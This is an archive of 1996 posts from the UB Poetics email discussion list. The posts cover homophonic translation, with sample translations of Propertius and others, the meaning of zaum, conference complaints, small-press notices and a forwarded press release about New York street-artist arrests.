Canada V6M 1P4 --Anne Waldman

fax: [redacted]
e-mail: [redacted]

↑ Index

17. Schuchat
Re: homophonic translation/translitics...
Mon 2 Sep 1996

Numerous works by Ted Berrigan and Ron Padgett, especially those collected in BEAN SPASMS.

Ron Padgett's SOME BOMBS (homophonic translations of Reverdy) (in Great Balls of Fire) always seemed to me particularly successful.

Berrigan talks about the difference between these works and the Zukofsky CATULLUS in one of the interviews collected in TALKING IN TRANQUILITY.

(Doug Messerli, when are you going to reprint Bean Spasms in your S&M Classics series?)

↑ Index

18. Don Cheney
Re: homophonic translation/translitics...
Mon 2 Sep 1996

---

is PCOET a homophonic translation? or were you thinking
of melnick's MEN IN AIDA?

doncheney
[redacted]

You might also be interested in David Melnick's PCOET
and in my own poem, "A Vector of the Straddle," a completely
sound-rhymed poem from Donne.

Douglas Messerli

At 07:33 AM 9/2/96 -0700, you wrote:
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>>language by substituting similar-sounding english words... as
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>identified as homophonic but I don't recall which ones.
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>I'm sure there are lots of others I'm forgetting & way more that I never
>knew about.
>
>Bests
>
>Herb
>
>
>Herb Levy
>[redacted]
>

> *-- Saved internet headers (useful for debugging)*
> *Received: from listserv.acsu.buffalo.edu by mail.ucsd.edu; id JAA19303 sendmail*
> *Received: from listserv.acsu.buffalo.edu (listserv.acsu.buffalo.edu [128.205.7.*
> *Received: from UBVM.CC.BUFFALO.EDU by UBVM.CC.BUFFALO.EDU (LISTSERV release*
> *Received: from UBVM (NJE origin [redacted]) by UBVM.CC.BUFFALO.EDU (LMail*
> *Received: from hollywood.cinenet.net by UBVM.cc.buffalo.edu (IBM VM SMTP V2R3)*
> *Received: from ppp83.cinenet.net by hollywood.cinenet.net with SMTP (8*
> *X-Sender:* [redacted]
> *X-Mailer: Windows Eudora Light Version 1.5.4 (16)*
> *Mime-Version: 1.0*
> *Content-Type: text/plain; chars*
> *Message-ID: <1.5.4.16.19960902080017.1*
> *Date: Mon, 2 Sep 1996 09:25:23 -0700*
> *Reply-To: UB Poetics discussion group <*[redacted]*>*
> *Sender: UB Poetics discussion group <*[redacted]
> *From: Douglas Messerli <*[redacted]*>*
> *Subject: Re: homophonic translation/translitics...*
> *To: Mul*

↑ Index

19. Peter Quartermain

Re: homophonic translation/translitics...

Mon 2 Sep 1996

In addition to those mentioned by Herb Levy, there's the comic stuff, most famously
1. Mots d'heures: Gousses, Rames: The d'Antin Manuscript
New York: Grossman, 1967
2. Guillaume Chequespierre and the Oise Salon: an Anthology Selected and Edited by John Hulme.
New York: Harper & Row, 1986.

sample poem from #2 (french accentuation and lengthy footnotes omitted):

"En ca, ne doux dite coup belle la Cannes
Aas tete, lippe l'azur d'homem, di cri
Ou air; alfa de sias crete riverain.
Truc a verne ce, mais jure lesse tout main.
Don tous a sonne l'esse, si . . . "
--S. Colleriche (Kubla Khan)

"Baille de chose ouef guichet gourmet
Baille de chaine y ne bigue si ou or terre.
Ce tout de ce oui Guam oeuf no commises.
Dort terre ouef demon, nos commises."
-- H. Longeuvelo (Hiawatha)

I remember some years ago reading that Harry Mathews was compiling a vocabulary of words that existed in both French and English, out of which he was projecting a novel. But I no longer have the source for this snippet of information. Does anyone out there know anything about the Mathews project? Did he ever write any of it? ---

Peter

At 09:19 AM 9/2/96 -0400, Robert Drakewrote:
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>translations"--th process ov "translating" texts from another
>language by substituting similar-sounding english words... as
>this:
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> I am the milkshake without color
> And without hands, come the butcher,
> Come Moses the rocker!
> An I am wild as a pauper,

>
> For the abbreviation of my Sahara,
> The jailer has the eyes of Southern france.
> My desire has gone, fled the desperation
> Over the black's salty tears...
>
> --Andrew Klimek
> from _Flowers of Mel_
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>Steve McCaffery as having done such? & Dave Melnick has some
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>appreciated.
>
>i have in hand 2 recent: _The Real Ideal_ by Joel Lipman, &
>_Prime Sway_ by John M. Bennett; i wanted to be able to put
>them better into context.
>
>shoe crayon
>luigi-bob drake
>
>
+ + + +

Bruce Andrews's recent work, 'Lip Service', that's a sound translation of Dante, right? Of the Paradiso?

Lived is short,
Jordan

↑ Index

21. **filch**

Re: Frank Kuenstler 1928-1996

Mon 2 Sep 1996

Mr. Bernstein wrote-
"Lens's brilliantly iconoclastic and cosmic compression
of syntax and lexicon ranks Kuenstler with such pioneers
of Zaum (Khlebnikov's word for pervasively neologistic
poetry) as Gillespie, Melnick, and Inman."

I am quite probably wrong and in need of correction but it is my understanding that zaum is more accurately translated as transrational, trans-sense, or beyond sense. I'm not sure I understand how one gets from that to "pervasively neologistic" which I understand to mean "new words". I suppose the argument could be made that zaum encompasses this idea of "new words" however it is my understanding that Khlebnikov had a distinct fascination with the origins of words as such and prefered greatly to return to the origins of the Russian language rather than to create something new. From what I understand, his coinages etc. were, in his opinion, a sort of "etymologism" which seems to leave little room for "new words".

I believe Markov wrote, at one point, that Kruchonykh & Khlebnikov together created the foundation for zaum in their piece entitled "The Word As Such." I believe also there has been a great deal of uncertainty about the actual origins of the word, popularly attributed to Khlebnikov, as it seems several different people actually claim "the rights" as it were. I even remember reading on a plane a few years ago a rather bizaare theory which held that the word actually originated with one of the Burliuk brothers, probably D. God help me if I can remember where I got that one.

Any help clarifying this would be greatly appreciated.

BTW I am still wondering if anyone knows of an English translation of A.N. Chicherin's "Change of All"?

filch

↑ Index

22. Christina Fairbank Chirot
zaum
Mon 2 Sep 1996

---

re zaum:

Markov also sugested a source for zaum may have been essays on "speaking in tongues"in various religous sects in Russia--this would be as "filch" pointed out, not the invention of new words, but transrational words with sources in a traditional religous context-- the relationship of the spiritual to the work of Kruchenyk, Khlebnikov, Malevich (not to mention Kandinsky) is well known on the next to last page of Spring and All, Wiiliams Carlos Williams says of zaum, as he knew of it:

Writing is likened to music. The object would be it seems to make poetry a pure art, like music. Painting, too. Writing, as with certain of the modern Russians whose work I have seen, would use unoriented sounds in place of conventional words. The poem would be completely liberated when there is identity of the sound with something--perhaps the emotion.

(This is interesting in relation to Ornette Coleman's famous remark re Free Jazz: "It's not about notes, it's about feelings.)

--dave baptiste chirot

↑ Index

23. Herb Levy
Re: Not homophonic Mathews
Tue 3 Sep 1996

Peter Quartermain wrote:

> *I remember some years ago reading that Harry Mathews was compiling a vocabulary of words that existed in both French and English, out of which he was projecting a novel. But I no longer have the source for this snippet of information. Does anyone out there know anything about the Mathews project? Did he ever write any of it?*

Peter -

I remember seeing something about this somewhere, too. &, if anyone could do an entire novel in this mode, Mathews is one writer who might could. But I'd thought this double vocabulary (sort of the inverse of homophonic - but I can't think of a suffix that'd mean spelling, false cognates maybe) was for the only slightly (don't want to offend any poets who may be on this list) more modest possibility of short poems.

I mean, there's only so much you can do with the fact that, say, "pour" and "pain" are words in both languages. To make a sustained narrative that makes even an extremely tortured kind of sense in both languages seems to be a perhaps insurmountable problem. Shorter lyrics seem a little less problematic.

But then the first time I read, in French, about an amazing machine they had at IRCAM which could do all kinds of weird transformations of sound. It was weeks before I found someone who could tell me what it was. & I found out that an "ordinateur" is just a "computer."

So, uh, I may not be the best person to judge the possible options here.

Bests

Herb Levy
[redacted]

↑ Index

24. Gabrielle Welford
Re: homophonic translation/translitics...
Tue 3 Sep 1996

Anyone know of "Ladle Rat Rotten Hut?" Not poetry but homophonic and funny. gab.

↑ Index

25. Ron Silliman
Homophonic translations
Tue 3 Sep 1996

Luigi-B.,

My one attempt at homophonic translation was published in the "SF Forum" of ROOF 5 (winter 78) as "Do We Know Ella Cheese?" It begins:

Where
when itch scree
hurt as much?

Then how's their angle
or known gun?

Honky sets selves,
his name a eye nor much.

Plows lick answers:
each fucking a fun sign-in,

starker in design.
Dent is seen as niche....

(and so forth for seven long pages in that old Roof 8.5 x 11 format). It was a piece I started circa '71 and worked on sporadically for several years before I began to be satisfied with it.

I believe that somebody (Robert Kelly?) at one point a few years back was trying to put together an anthology of such translations, but I don't think anything ever came of the effort.

All best,

Ron Silliman

↑ Index

26. Michael D Basinski

Re: POETICS Digest - 29 Aug 1996 to 30 Aug 1996

Tue 3 Sep 1996

Michael Basinski
Poetry/Rare Books Collection
SUNY at Buffalo
[redacted] Fax: [redacted]

On Sat, 31 Aug 1996, Automatic digest processor wrote:

> *There are 10 messages totalling 426 lines in this issue.*
>
> *Topics of the day:*
>
> 1. *12? in sanskrit*
> 2. *need some info (2)*
> 3. *Events in Providence*
> 4. *interesting article on the web*
> 5. *Street-Art: File: "DATABASE OUTPUT" (fwd)*
> 6. *<No subject given>*
> 7. *Kerouac*
> 8. *Hannah Weiner*
> 9. *xxx/event: one*
>
> *----------*
>
> *Date: Fri, 30 Aug 1996 02:40:46 -0400*
> *From: Blair Seagram <[redacted]>*
> *Subject: 12? in sanskrit*

Does anybody know what the sanskrit word for 12 is?

Blair

Date: Fri, 30 Aug 1996 07:57:31 -0400
From: Michael Boughn <[redacted]>
Subject: need some info

Does anybody on the list know of a book called _Un Homme grand: Jack Kerouac a la confluence des cultures_? I'm having a really hard time tracking it down. Even Buffalo doesn't seem to have it. I'm specifically interested in an essay by Gerald Nicosia called "Kerouac: Writer without a home".

Thanks,
Mike
[redacted]

Date: Fri, 30 Aug 1996 08:12:00 -0400
From: Diane Marie Ward <[redacted]>
Subject: Re: need some info

The book Un homme grand : Jack Kerouac a la confluence des cultures= Jack Kerouac at the crossroads of many cultures -- is available at the University of Buffalo - we have 2 copies -- if you like (since I spend most of my daylight hours working for the Libraries) I can put you in touch with our Inter Library Loan Program / or put you in touch with the Poetry Collection. Email me backchannel.

Also, does anyone have an email address for John (J. W.) Curry in Toronto?

On Fri, 30 Aug 1996, Michael Boughn wrote:

Does anybody on the list know of a book called _Un Homme grand: Jack Kerouac a la confluence des cultures_? I'm having a really hard time tracking it down. Even Buffalo doesn't seem to have it. I'm specifically interested in an essay by Gerald Nicosia called "Kerouac: Writer without a home".

Thanks,
Mike
[redacted]

Diane Ward
[redacted]
State University of New York at Buffalo

THE AESTHETE'S LIST : http://www.acsu.buffalo.edu/~dward/

"I dreamt I dwelt in marble halls,
And woke to find it true;
I wasn't born for an age like this;
Was Smith, Was Jones, Were you?" -- George Orwell written in 1935.

Date: Fri, 30 Aug 1996 10:44:13 EDT
From: Gale Nelson <[redacted]*>*
Subject: Events in Providence

The following events are planned for Providence in the coming weeks:

Wed, 4 Sep.
Poetry readings by Maurice Scully (Dublin) and Tony Lopez (Devon)
8:00 pm TF Green, Young Orchard Street, between Hope & Cook, East Side

Thu, 5 Sep.
Performance work by MURMUR
8:00 pm TF Green (see above for address)

Tue, 10 Sep.
Mixed genre readings by Lori Baker (fiction) and Gale Nelson (poetry)
7:00 pm Little Professor Book Center, N. Main Street

Thu, 12 Sep.
Night of A Thousand and One Readings by the Graduate Students of Brown Creative Writing
8:00 pm TF Green (see above for address)

Thu, 19 Sep.
Poetry reading by August Kleinzahler, visiting assoc. professor at Brown
8:00 pm TF Green (see above for address)

Thu, 26 Sep.
Fiction reading by Robert Coover
8:00 pm TF Green (see above address)

1-5 Oct.

Unspeakable Practices III
A festival of vanguard narrative, organized by Robert Coover
Brown campus, various locations

All events listed above are free and open to the public. All save the Little Professor Book Center Reading are sponsored by Creative Writing, Brown University.

Date: Fri, 30 Aug 1996 10:23:50 -0500
From: Joe Amato <[redacted]>
Subject: Re: interesting article on the web

a few weeks back, chris funkhouser posted in about an article on the web entitled

"virtual whiteness and narrative diversity"

by one joe lockard of uc/berkeley...

just finished reading the piece, found it to be extremely interesting, and i too recommend it to those of you with an interest in questions of race/ethnicity and how critical discourse relating to these latter may be brought to bear on cspace...

again, at

http://darkwing.uoregon.edu/~heroux/uc4/4-lockard.html

best,

joe

Date: Fri, 30 Aug 1996 11:26:37 -0500
From: Christina Fairbank Chirot <[redacted]>
Subject: Street-Art: File: "DATABASE OUTPUT" (fwd)

This of much interest & concern--to be aware of.

(fwd. dbchirot)
---------- Forwarded message ----------

For Immediate Release: A.R.T.I.S.T. president Robert Lederman's New Trial Date Set For 9/9/96

A new trial date has been set for Monday 9/9/96 Jury Part 1, 5th floor 100 Centre Street, Criminal Court Bldg. 9:30 A.M. The previously scheduled trial date of 7/30 was unexpectedly adjourned when a roomful of print and T.V. journalists showed up to cover the proceedings. Robert Lederman will be the first N.Y.C. street artist brought to trial. The prosecuting the case is D.A. David Jaffe. Judge Pickholtz is scheduled to hear the trial. Lederman is represented by attorney and one-time prosecutor, Marc Agnifilo [redacted]. The defense has six eyewitnesses to the illegal arrest prepared to testify.

Since 1993 the City has handcuffed and arrested more than 350 artists for displaying or selling their paintings on N.Y.C. streets. While it has avoided prosecuting any artist's case, the City continues to sell thousands of works of fine art it has illegally confiscated at its monthly forfeiture auction at One Police Plaza. D.A.'s and judges have begun publicly expressing disapproval of the policy.

Lederman is charged with Unlicensed General Vending and two additional charges of Disorderly Conduct. Each charge carries a possible three month sentence. This is an unusual case in that the Disorderly Conduct charges as described by D.A. Jaffe at a preliminary hearing involve nothing more than the defendant handing out literature, holding up a protest sign that read, "Stop Arresting Artists", photographing the police confiscating another artists' work and handing out eight protest signs to other artists present. These activities, as well as displaying art, are fully protected by the First Amendment. Lederman has been arrested twice before for distributing literature exposing the City's artist arrest policy and numerous times while displaying his art.

At a preliminary hearing held on 6/27 prosecuting D.A. David Jaffe told the presiding judge, "Robert Lederman has been arrested 13 times. If we don't stop him this will only continue. Before being arrested he handed out protest signs to the other artists and they marched up and down. He's even displaying photos of artists being arrested alongside his paintings."

At that hearing the judge appeared predisposed to find Lederman guilty regardless of the facts in the case. Lederman's attorney was told he couldn't talk about the First Amendment. The judge and D.A. didn't want the defense to enter photographs taken at the arrest scene, which contradict the police report, as evidence. The judge also denied the defense the right to subpoena witnesses to testify on N.Y.C.'s vending

ordinance or to enter relevant testimony by City officials from the ongoing street artist Federal suit, including the Corporation Counsel's admission that artists, "...cannot obtain a Vending License". [Lederman v. City of New York 94 civ. 7216 (MGC)]. The Federal case is presently before the 2nd Circuit Federal Appeals Court with a decision expected at any time. Numerous museums, arts and legal rights groups, including the ACLU, The Whitney and MOMA have joined the suit in support of the artist-plaintiffs.

Lederman is president of A.R.T.I.S.T. an advocacy group of over 200 New York street artists. He has been an outspoken critic of Mayor Rudolph Giuliani's quality of life arrest policies and of City Council Member Kathryn Freed. Freed is known to be a motivating force behind the artist arrests and, according to the N.Y. Times, is in Federal Court "..seeking to overturn Constitutional protection for visual art". Observers believe this Criminal Court trial is an attempt to intimidate artist activists.

Recently, Lederman and other A.R.T.I.S.T. members distributed a controversial leaflet at Criminal Court ("Why Plead Guilty?") advising so-called "quality of life" defendants to not plead guilty or accept plea bargaining arrangements and to demand a trial. Members of the D.A.'s office, defense lawyers and judges agreed with the leaflet, causing the Giuliani administration considerable embarrassment. A number of reporters claim they've been pressured by City officials and by the NYPD not to continue covering the street artist issue.

For more information or to receive a press kit contact
A.R.T.I.S.T. [redacted] *E-mail* [redacted]
or visit the A.R.T.I.S.T. web page:
http://www.openair.org/alerts/artist/nyc.html
Photos of this and other artist arrests are available.

References to this trial, artist arrests and related material can be found in the following:
New York Times, Sunday July 14, 1996, City section pg 13, lead story); "The War of Nerves Downtown; Kathryn Freed's War of Nerves" [detailed expose of City Council Member Freed]
New York Times Magazine, Sunday July 14, 1996 pg. 8 The City "It's a Quality, Quality Life"
Art In America, March 1996 pg. 128 "New Allies for Street Artists"
New York Times Wednesday, January 24, 1996 Metro section pg. B1 "Street Art: Free Speech or Just Stuff?"
New York Magazine, January 23, 1995 pg 16 "Among the Artlaws"

Christian Science Monitor Thursday, July 14, 1994 pg. 11 "New York Reins In Street Art"
Christian Science Monitor Wednesday, February 14, 1996 "Conflict On the Street: Artists v. N.Y.C."
Time Out Magazine Feb 21-27 1996 pg. 18 "Peddle Pushers"
New York Amsterdam News Saturday, June 15, 1996 pg. 4 "Artists To Sue Over First Amendment Right of Speech".

--- from list [redacted] ---

Date: Fri, 30 Aug 1996 13:02:07 -0400
From: Jordan Davis <[redacted]>
Subject: <No subject given>

CURRENT PRICE LIST from SUBPOETICS/POETRY CITY

Sea Lyrics by Lisa Jarnot $5
Western Love by Bill Luoma $5
Lapsis Linguae by Marcella Durand $5
Immediate Orgy & Audit by Ange Mlinko $5
August by Dan Bouchard (special issue of Compound Eye, ed. A. Mlinko) $1
Thunk by Kevin Davies $3
A Little Gold Book by Jordan Davis $5
Sincerity Loops by Steve Carll $5

and now...

MASS AVE, ed. by Dan Bouchard $5
since 1996
Mass Ave has featured such writers as
Jawanza Ali Keita, Ange Mlinko, Jordan Davis, Renee Gladman, Chris Stroffolino, David Baratier, Giovanni Singleton, Bill Luoma, Lisa Amber Phillips, Beth Anderson, Meredith Quartermain, Steve Carll, Michael Leddy and David Golumbia--

"the tightest
pants in heaven"

To order, send an email to [redacted] with your street address and the books you need. Add $3 for first class shipping, orders over $25 add $0 for shipping even though here in New York we have to take all of our packages to the post office somebody with a tv let me know if the unabomber movie is any good.

Jordan Davis
46 E 7 #10
NYC 10003
[redacted]

Date: Fri, 30 Aug 1996 13:14:56 -0700
From: George Bowering <[redacted]*>*
Subject: Re: Kerouac

Does anybody on the list know of a book called _Un Homme grand: Jack Kerouac a la confluence des cultures_? I'm having a really hard time tracking it down. Even Buffalo doesn't seem to have it. I'm specifically interested in an essay by Gerald Nicosia called "Kerouac: Writer without a home".

Thanks,
Mike
[redacted]

Mike,

Yeah, the book is as you titled it. Edited by Pierre Anctil, Louis Dupont, Remi Ferland and Eric Waddell. Published by carleton University Press, 1990. It's proceedings from that Kerouac conference in Quebec.It is distributed by Oxford, so shd be easily obtainable. Nicosia's piece is 20pp long.

George Bowering. *"Nuestros cuerpos se cubren*

de una yedra de s=EDlabras."
2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4
--Octavio Paz
fax: [redacted]
e-mail: [redacted] *=20*

Date: Fri, 30 Aug 1996 14:19:01 -0700
From: Douglas Messerli <[redacted]*>*
Subject: Re: Hannah Weiner

Sun & Moon is publishing PAW soon in its new magazine:
Mr Knife, Miss Fork. Hannah's wonderful narrative will be
one of the major works in that special issue devoted to
the "theatrical" in lit.

Douglas Messerli

At 10:11 PM 8/26/96 -0500, you wrote:
james sherry writes:
Roof Books will publish Hannah's Weiner's <<We Speak Silent>> this fall. I
will try to make a special offer to the list when the book becomes available.

goody! in the meantime, where can i get "PAH" or PAW, that charles mentioned?

Meanwhile, Maria, I wonder about your theory. The themes in Hannah's
writing don't seem to me to have much to do with holocaust. A list of
them would show late sixties tv and political issues, the fast,
lsd, family, friends, and isolation. Why not take her at her word?

i'm not talking about thematics so much as effect; her writing as an effect of
post-holocaust (Jewish) subjectivity. something like that. not trying to
ferret out any subtext. still, thanks for the list of identifiable themes.

The interest for me in Hannah's writing has always been her ability to
weave through inside and out without the usual membranes and transitions.
For Hannah much of what we call art comes quite easily to her once she
has put herself in a particular position, which I don't need to characterize.

good point; i like stuff about weaving and membranes.

Also see Maria Damon's essay in the new issue of <<Chain>>: Hannah makes
a pure play at consciousness by mixing genres. Sometimes she succeeds and
the reader is pleased.

interesting; what specific genres wd u say she mixes?

James
maria d

Date: Thu, 25 Jan 1996 17:45:14 -0700
From: jeffrey timmons <[redacted]>
Subject: xxx/event: one

xxx/event: one

they took over the campus at
arizona state university this week
75,000 people coming for the supperbowl
corporate hospitality suites rise over the sacred
parking lots worshiped by high and low alike
classes were cancelled for two days
closed the library early
locked the doors completely to accomodate
stuporsunday
official souvenir vendor distribution sites for all
this splurf-fest capital guzzle feed-trough
greenback shower of the sports season
a soft-drink company (who will remain
anonymous so as not to endorse this product unwittingly)
will throw a party for students with hot dogs for sale
a local hemp spokesman says he will sell dope at the scupperbog
the economic wind fall for tempe phoenix
arizona will be
tremendous according to the saturation coverage by
the arizona republic(an) for the potential to "cash-in"
on the xxx/event
arizona state university is "bloated and
inefficient"
according to a republican govenor whos filed for
bankruptcy
budget cuts will likely lead to tuition raises while the
other two state schools will suffer no such cutbacks
the stutterbloff is on more peoples minds than the next
goverment shut-down
arizona state university students marched down
the main strip of tempe protesting the ironies of this
money-gozzling fleet-ditch diving city . . .

End of POETICS Digest - 29 Aug 1996 to 30 Aug 1996
****

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27. Bill Luoma

Re: homophonic translation/translitics

Tue 3 Sep 1996

Don Cheney has done some good work in this area. All of Catullus and 10 Propertius Odies. Don is a skilled prose writer, so in his hands you get a real nasty & hilarious narrative, as you get in Catullus & Propertius, but you also get great sound. Whereas in Zukofsky's homophones, eg, you for the most part just get great sound, with the nasty humors subordinate.

Below are some Propertius Cheney's stolen from the web at:

http://fuji.ucsd.edu/alfredo

First

Cynthia. First, your misery. I see the pit in your eyes
and we don't hold each other after love.
To me this constant deceit looms fast
and it is impossible (dead) to press it: I love your feet.
Do kiss me and do quit casting all these
improbable women at me, I don't want your consolation.
And I am totally furious that there's no deficit this year.
I know you have God but I have adultery.
Milanion knew the fugue would end and told the workers
to say that you and I are aunts conducting a tour of the silo.
Now, I'm in no Parthenonian mood to make amends for your aunt's errors.
I bat and she always suits me up, fair as video.
She and I are jalai percussionists. You'll hear the ramifications.
Arcadia is sow city where dopey buses run the gamut.
Scram you poor, crazy, domestic woman,
love in tandem precedes you and is a valiant benefactor.
In me, love is always late, not that you understand art.
And now that you mention it I note that in a previous life I was angry
at you. We quibbled about duck tape and lunar fallacies
and worked in sacred, magic monasteries
in a dumb age dominated by men who converted us
and, face it pal, they were going to eat me or mince me.
I think some of the credit goes to your side and almost all
to the Cytae posse who belted out song after song.
And you who never lapses into "Once In Love With Amy," I love you.
Why this is right I can't say. Your breasts exhilarate
for breasts and for rum your pate, myrrh and ignorance.
I have liberty in the sit mode but why did you light and locate my anger?
We're furtive for radical men and furtive for underwear.

I won't write why your cat isn't female
or why you bus to see your facile god's annual aura.
Your parents always love to see us in a tutu.
To me you are Venus, especially at night when we exercise our love.
And no one you accuse has a temper to fit my love.
In hock, no money. You and I are bad off, so when we have more
money to cure our net assets will mutate into crazy love.
But if the money is late it will be adieu to you,
you who wants lots of references, you are...Bah! Oh, my money!

Third

The sea is calm and I quit seeing the singing dentist.
Language deserts us. Knowledge (literally: "bus")
is also calm. And accurate.
I am liberal during "coitus andromeda".
I am an assiduous necker, less than Eden but fess up, the chore is
calm in her funny conceit. A pie doesn't know
how tall you or I or the USA is. Hi Molly, I'm spiraling quietly.
Cynthia, I'm not certain I can put the nix on so many kisses.
I'm sober like many foreigners who used to say "banco!"
and who rent Sarah at night. Face it boys,
thank your egos not your dumb senses which everyone depends on.
I impress Molly: "A condor is just a dire bull."
And what music can only duplicate, my heart corrects. While you and I
are bent over love or a book you tell me that God's uterus
is the subject the thief posited. To tempt is to lacerate
the eyes and admonitions of "so sue me and arm my hands"
don't soothe your wounds. The air is dominant, the turbulence quiets 'em.
Expert matrons, I urge you satiate,
but my sick intentions fix my eyes on a harem (bam!).
Arguments and ignorance in a kitty corner of the bus.
And my only mode is our mode of front-wheel- drive Corollas.
That pony is yours, Cynthia, temporarily.
My mode lapses into gaudiness, for the mare's capillaries
are not furtive because a pony is not a damn bus.
Largely, everyone is an ingrate but some grate more.
Money is always prone to violent scenes
and quotients are rarely suspected of having motives.
Obstinately you want the suspicious credit.
You don't want to be insolent and you aren't. You are timid.
Now which life are you in that you know to be yours?
Don't die you ersatz procurer of hats from the moon.

The moon is dead but you are illuminated.
Compose it on a bus the radius of which can fake it on a cello.
Molly, sit down and fix the torn cubicle.
"We" refers to "you" in "tandem" in your lecture.
If you alter the clauses will you be expelled and put on a bus?
Not that you belong. Our consumation in the temporal night
was languid and exact. Do I ride on the side of the bus?
Oh you tease me at night with improbable tales from magazines.
My misery always has you in it.
I fall (bam!) on my somnolent stamina. The purpose
is verses and I confess Orpheus sings lyrics.
Enter the dumb thief. I come and a Gay bar is deserted.
And outside is always the longest in the morass of love.
And dumb me: "I can sop-up this lap, Sam, so pour impudent Alice
a strawberry liqueur which ultimately will cure me."

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28. Rachel Loden

Re: Swear word here!

Tue 3 Sep 1996

George Bowering added ("I have been instructed..."):

> *big oops--private message went to the list again--at least it wasn't the one about *my* intrigue with Rachel L. while Pierre took pictures--*
>
> *Gwyn, tres embarrassed*
>
> *That was YOU? As Pierre is a lousy photographer, but a great poet, it was hard to tell who the partly-clad person was. I thought it looked a little like David Bromige, but the tan wasnt deep enough.*
>
> *I certainly hope Pierre finished duplicating the pictures so we can clean up in New Hampshire. Btw that WAS Bromige in the corner, but he seemed more interested in his baseball card collection (despite all the brave talk about "desire"). P.S. Pierre, when do we get paid for the shoot?*
>
> *I have been instructed by my old friend and present co-author Mr David Bromige to tell you that his lawyer will be in touch with you, just as soon as he has finished compiling his information for the suit he has prepared against a Mr Wallace, who apparently was a little careless with some women's clothing in Washington.*

Peckham, Gass, Fairweather & Zukofsky
Attorneys at Law

September 3, 1996

Dear Mr. Bowering:

It has come to our attention that you are making veiled threats to our client, Rachel Loden, using the cover of a Mr. David Bromige, a notorious carnival barker of uncertain national origin. We strongly advise you to refrain from further insinuations about Ms. Loden and the originality of her sonnet sequence, "Snorkling the Lotus." If we are unsuccessful in obtaining your cooperation, we may be forced to bring certain delicate matters to light. We are in particular most anxious to avoid any further mention of that sordid little contretemps with the cocktail hostess in Winnipeg. Need we go on?

As for Mr. Wallace, we earnestly hope that he seeks counseling.

Yours very sincerely,

Roderick Slyme, Esq.

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29. Lisa Amber Phillips

Re: homophonic translation/translitics...

Tue 3 Sep 1996

Gabrielle-- I have a copy of "ladle rat rotten hut" on my office door at school, and I pass it out to my academic writing students as a "cautionary tale" against excessive dependence upon their word-processing spell checkers. I end up reading it in a sing-songy voice like the Swedish Chef from the muppets.

Lisa Amber Phillips

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30. Kathrine Varnes

Re: homophonic translation/translitics...

Tue 3 Sep 1996

On Mon, 2 Sep 1996, Gabrielle Welford wrote:

> *Anyone know of "Ladle Rat Rotten Hut?" Not poetry but homophonic and funny. gab.*
>
> *Yeah. W.D. Snodgrass has an essay in the Southern Review (?) all about the importance of nonsense in poetry and pleasure. He talks at length about Ladle Rat Rotten Hut and ties that to poetry. I don't have all the details because I only borrowed a friend's copy, but it's a fun essay -- many illustrations of this sort.*

Kathrine Varnes
[redacted]
University of Delaware

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31. Robert Archambeau

Re: POETICS Digest - 1 Sep 1996 to 2 Sep 1996

Tue 3 Sep 1996

I understand Marjorie Perloff's frustration about the lack of time for discussion at the New Hampshire poetry conference/festival: the best discussions I had there were informal and private, and I feel that many of the most interesting questions didn't get asked in a public forum. But to some degree at least I think those who came as critics (a group in which I include myself) were responsible for this state of affairs: I noticed that people tended to go over the allotted time limit, even when they skipped passages of the essay that they'd come to read. Had all of the papers actually _been_ 20 minutes long, there would have been time to start some interesting discussions.

As far as the question of the status of critics goes, Marjorie raises an interesting point. Although I have nothing to complain about personally (I had the opening slot on the first plenary session) the critics did only get to speak once, and the poets tended to both address critical issues and to read from or perform their work. There is a bit of a conundrum here, though: if poets are restricted to only one activity, we are deprived of the "poet's prose" that can often be so valuable, especially with experimental work; if critics are allowed to read twice in order to receive as much attention as poets, conference schedules will be even more crowded than they already are, and there will be even less time for discussion. The real solution, of course, would be to have longer conferences, but who has the funding (or the time)?

All that aside, I look at my schedule from New Hampshire and realize that it was a miracle that this conference came into being, and think that Romana Huk deserves our thanks for pulling it all together.

--Robert Archambeau

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32. Ian Wilson
The Herman Review
Tue 3 Sep 1996

Some of you may be familiar with The Herman Review published by Rick Bursky in Los Angeles. The journal has featured both well known and less known poets. Bursky is interested in the best writing he can find, no matter who it comes from.

For a variety of personal reasons, Rick is considering stopping publication. He had assembled all the material for the No. 3 when circumstances arose that may force him to abandon the project if not forever than for a long, long time.

I believe Rick Bursky would welcome expressions of support, written or financial. Please do NOT take this as a solicitation. Small magazines, unaffiliated with a publishing house or an academic sponsor have a rough time of it. If nothing else, I think Rick Bursky needs to hear that his journal has value and that it would be a shame for it to cease publication.

Rick Bursky can be reached at [redacted]

Ian Wilson
Loyola Marymount University, Los Angeles
[redacted]
http://users.aol.com/ibar88/private/ian1.htm
http://users.aol.com/ibar88/private/story/index.htm

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33. Marjorie Perloff
Re: POETICS Digest - 1 Sep 1996 to 2 Sep 1996
Tue 3 Sep 1996

I have a question for all my dear friends on this List: if, as Alan Golding reminded us in his paper, there isn't supposed to be a real divide between poetry and theory, if, as "linguistically innovative" writers have been saying for 20 years or more, genres are fluid, hybrid, etc etc., why is it that at "Assembling Alternatives" the critics were absolutely second-class citizens? The poets got to read for 20 minutes and give 20 minute papers; the critics and scholars got to give 20 minute papers, often in slots where there was no time for discussion. The poets are listed in the brochure, with pics and bios; the critics, all of whom paid their way to this conference (in my case over $1,000) were invisible in that regard. Do we then still believe in the secondariness of critical discourse? Would critics have been allowed to spend their 20 minute "papers" schmoozing about this and that as some of the poets who gave papers did? And if so, how is

all this "linguistically innovative" discourse any different from the good old poetry festival attended by poets only?

A second important issue which also relates back to the Orono conference: I think that when there's no time for discussion, as there wasn't here, really strange things happen. People will make authoritative statements that may in fact be just plain wrong. No one calls the person on it, no one takes up the issues--and there we are. Philip Mead came all the way from Australia for the conference, spoke for 20 minutes on the situation in Australian poetry which is fascinating and that was that. No questions, no responses.

There were many exhilerating moments and wonderful readings and for those of us from the U.S. it was very exciting to meet (however briefly in the endless marathon) the British poets. But it remains wholly unclear to me who was allowed to read or perform, what makes some of the people who read or performed "linguistically innovative" or "alternative," and so on. I wonder if anyone else shares my frustration.

Marjorie Perloff

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34. Loss Glazier
Assembling Alternatives
Tue 3 Sep 1996

ASSEMBLING ALTERNATIVES

An international poetry conference/festival
held at the University of New Hampshire, Durham
29 August-2 September, 1996

